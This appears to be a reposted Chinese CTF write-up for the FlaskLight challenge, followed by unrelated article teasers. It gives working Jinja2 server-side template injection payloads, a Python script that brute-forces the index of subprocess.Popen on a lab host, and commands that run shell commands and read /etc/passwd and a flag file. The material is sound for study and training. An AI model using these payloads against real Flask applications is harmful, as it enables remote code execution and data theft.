[CSCCTF 2019 Qual] FlaskLight

news2024/11/25 4:56:32

打开链接,在注释里发现了参数名和请求方式

 结合题目flask,检查是否存在SSTI模块注入:

?search={{7*7}}

(如果对这类题不了解的建议先看我另一篇博客http://t.csdn.cn/4d812)

通过回显发现被执行了,存在SSTI模块注入

 尝试读取当前类:

?search={{''.__class__}}

 读取该类的所有父类:

?search={{''.__class__.__mro__}}

我们需要利用的是object里面的其他子类,我们读取object的所有子类 :

?search={{''.__class__.__mro__[2].__subclasses__()}}

payload说明:这里的 mro[2] 相当于返回当前类的上两级,便到了object类,后面的subclasses便是读取object下面的所有子类,后面继续追加 [xx] 可以选择要使用的类(xx表示该类所在位置)

 

接下来使用脚本跑一下是否存在eval、popen危险函数以及import、linecache这些函数(这个函数中也有os模块)

以及检查是否存在一些类,比如:

_frozen_importlib_external.FileLoader 类:该类下有get_data函数可以实现读取文件

使用payload:

''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")

importlib 类:importlib类中的load_module可以引用os

使用payload:

{{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

 subprocess.Popen

使用payload:

{{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

注意:xx代表该类所在的位置,有时候base不行,比如这道题,我们可以换用mro ,即换成__mro__[2] ,前面有介绍。

 

 下面是关于类和函数爆破的一个简单脚本,传参方式是get,查找函数是Popen

import html

import requests

url='http://ee61c720-de19-41aa-9a8c-9825346a4291.node4.buuoj.cn:81/'

def find_class_num():
    for i in range(0,500):
        #parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}"     //爆类
        parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"  //爆函数
        # data = {url+parm_value}
        # print(data)
        print(url+parm_value)
        re = requests.get(url=url+parm_value).text
        # print(re)
        # print(htmltest)
        if 'Popen' in re:
            print(i)
            return i
find_class_num()

函数这里我试了很多并没有发现什么,我感觉应该存在过滤 

继续爆破类

(各位可以进行简单修改,即可用于爆破其他的)

比如我们爆subprocess.Popen类

import html

import requests

url='http://ee61c720-de19-41aa-9a8c-9825346a4291.node4.buuoj.cn:81/'

def find_class_num():
    for i in range(0,500):
        parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}"
        #parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
        # data = {url+parm_value}
        # print(data)
        print(url+parm_value)
        re = requests.get(url=url+parm_value).text
        # print(re)
        # print(htmltest)
        if 'subprocess.Popen' in re:
            print(i)
            return i
find_class_num()

发现存在subprocess.Popen类,且位置在[258]

 直接上相关的payload:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls/',shell=True,stdout=-1).communicate()[0].strip()}}

 展开flasklight 目录:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls flasklight ',shell=True,stdout=-1).communicate()[0].strip()}}

 第二个文件的名字很具有暗示性,我们使用cat命令打开它:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat  /flasklight/coomme_geeeett_youur_flek ',shell=True,stdout=-1).communicate()[0].strip()}}

 拿下 flag{8db9f6f9-1d7d-4964-96cc-a28618b174e6}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/719152.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NacosConfig获取不到配置中心

<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-bootstrap</artifactId><version>3.0.3</version></dependency> 版本说明 alibaba/spring-cloud-alibaba Wiki (github.com) …

【STM32智能车】小车状态

【STM32智能车】小车状态 搭建智能车 65MM轮径小车所选材料安装说明直行测试智能车可能存在的状态 智能车功能丰富&#xff0c;我们从最基础的开始&#xff0c;先来搭建一个智能车吧~。 搭建智能车 我们之前用了一个测试板子去学习调试电机&#xff0c;是时候拼装一个简单的车来…

CSS弹性盒子中弹性子元素文本超出弹性子元素宽或高后导致撑开弹性子元素原本宽或高的解决方法

当使用弹性布局时&#xff0c;设置父容器为弹性容器后&#xff0c;弹性子元素的文本内容超出宽或高后会撑开弹性子元素的原本应该显示的宽高&#xff0c;溢出父容器&#xff0c;只要设置弹性子元素的宽或高&#xff08;由父容器弹性排列方向决定&#xff09;的属性值为0即可解决…

echarts dataZoom.slider is used but not imported.

使用dataZoom时图表报错&#xff1a; resize should not be called during main process. omponent dataZoom.slider is used but not imported. 解决方法&#xff1a; 在使用的页面种单独引入一下dataZoom&#xff1a; import ‘echarts/lib/component/dataZoom’;

Redis【实战篇】---- Redis消息队列

Redis【实战篇】---- Redis消息队列 1. Redis消息队列 - 认识消息队列2. Redis消息队列 - 基于List实现消息队列3. Redis消息队列 - 基于PubSub的消息队列4. Redis消息队列 - 基于Stream的消息队列5. Redis消息队列 - 基于Stream的消息队列-消费组6. 基于Redis的Stream结构作为…

环肽抑制剂:1088715-84-7,LY2510924,LY2510924游离态,试剂相关特点说明

​编辑资料作者&#xff1a;陕西新研博美生物科技有限公司小编MISSwu​ LY2510924&#xff0c;LY2510924游离态&#xff0c;拮抗剂LY2510924&#xff0c;环肽&#xff0c;抑制剂 Product structure&#xff1a; Product specifications&#xff1a; 1.CAS No&#xff1a;10887…

机器学习基础之《特征工程(1)—数据集》

一、数据集 1、目标 知道数据集分为训练集和测试集 会使用sklearn的数据集 2、可用数据集 公司内部&#xff0c;比如百度、微博 数据接口&#xff0c;花钱 政府拥有的数据集 3、在学习阶段用到的数据集 scikit-learn特点&#xff1a; &#xff08;1&#xff09;数据量较小 &…

SpringBoot配置外部Tomcat项目启动流程源码分析

前言 SpringBoot应用默认以Jar包方式并且使用内置Servlet容器(默认Tomcat)&#xff0c;该种方式虽然简单但是默认不支持JSP并且优化容器比较复杂。故而我们可以使用习惯的外置Tomcat方式并将项目打War包。 【1】创建项目并打War包 ① 同样使用Spring Initializer方式创建项目 …

宝塔Panel搭建Python环境

服务器安装python环境 找到软件商店 应用搜索 输入&#xff1a;python 安装Python项目管理器2.4 开启首页显示 回到首页 找到python管理器并点击进入 安装对应的python版本 到这里 服务器就可以告一段落了 在本地开发服务端应用并上传服务器 将写好的python应用 导出依赖…

蓝桥杯专题-真题版含答案-【世纪末的星期】【猜年龄】【组素数】【第39级台阶】

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

antv-x6在vue中使用:拖拽 Dnd、Stencil——以小诺管理平台为例

1、说明 由于antv-x6刚刚开放不久,一方面网上资料很少,此外antv目前官方的实例基本都是以react作为demo进行演示,所以vue的示例几乎没有,自己按照官方文档的react写了一个vue版本,仅供参考。 2、效果 先看一下demo的效果,如下所示 这是官方网文档的效果,同时官方也给…

【Spark】SparkCore

文章目录 RDD特点&#xff1a;弹性分布式数据集数据抽象不可变可分区、并行计算分区列表分区计算函数RDD 之间的依赖关系分区器&#xff08;可选&#xff09;首选位置&#xff08;可选&#xff09; 执行原理启动 Yarn 集群环境Spark 通过申请资源创建调度节点和计算节点Spark 框…

ue4:Dota总结_BP_CameraPawn篇

设计wasd移动&#xff1a; 鼠标拖动视口&#xff1a; 鼠标滚轮调整远近&#xff1a; Beginplay&#xff1a; qe按键旋转&#xff1a; 变量&#xff1a;

Python练手项目-学生成绩管理系统

之前在最初的学习中&#xff0c;我就写过一个Python的学生管理系统&#xff0c;但是那个很粗糙&#xff0c;很简陋 今天在学习过程中&#xff0c;再次拿出来&#xff0c;重新优化书写 希望对初学者以及需要的朋友有帮助。 文章目录 系统开发环境&#xff1a;1.实现功能2.系统设…

css3动画应用

按钮边框 按钮 首先实现正常边框按钮&#xff0c; 其次按钮相对定位&#xff0c;因为旋转的内容需要绝对定位&#xff0c; 旋转内容做伪元素处理&#xff0c;z-index设置负数是为了把按钮文字显示出来&#xff0c; 定位一半一半是把长方块中心点放按钮正中&#xff0c; 变形原…

照片jpg大小kb如何修改?图片在线压缩大小怎么处理?

最近需要在各种报名平台上传照片的小伙伴比较多&#xff0c;难免会遇到需要压缩jpg图片的情况&#xff0c;那么怎么才能将jpg图片压缩&#xff08;https://www.yasuotu.com/jpg&#xff09;呢&#xff1f;今天介绍一个图片在线压缩大小的方法&#xff0c;不用下载任何软件就可以…

内嵌 iframe 实现PDF预览

效果图如下&#xff1a; 代码如下&#xff1a; <template><div><!-- 控制浮层显示隐藏 --><el-button type"primary" size"small" class"btn" click"dialogVisible true">PDF 预览 (内嵌 iframe)</el-but…

pwn(7.4小学期)

Ret2libc 先查一下壳 32位&#xff0c;放入IDA中看看 查看一下 vulnerable_function();这个函数 Read函数&#xff0c;很明显的栈溢出 但是观察半天&#xff0c;发现这里并没有system函数 字符搜索我们看到了libc.so.6 可以想到libc函数库以及 PLT表中的代码会根据函数在…

[已成功破解] 阿里 taobao 滑条验证码 x5sec解密 slidedata参数

[已破解] 阿里 taobao 滑条验证码 x5sec解密 slidedata参数 今天在爬tb数据的时候 发现老是会触发一个滑块验证 只要过了这个滑块将滑块返回的x5secdata 的cookie 带到请求参数里面去 就能完美避开了 然后去抓了下滑块的包 过了这个滑块拿到cookie就能 访问阿里一直获取数据…

FPGA纯verilog实现UDP协议栈 AXIS用户接口,可替代Tri Mode Ethernet MAC,提供三套工程源码和技术支持

目录 1、前言2、我这里已有的UDP方案3、该UDP协议栈性能4、详细设计方案网络PHYRGMII转GMII模块AXIS FIFOUDP协议栈 5、vivado工程1-->B50610 工程6、vivado工程1-->RTL8211 工程7、vivado工程1-->88E1518 工程8、上板调试验证并演示准备工作查看ARPUDP数据回环测试 9…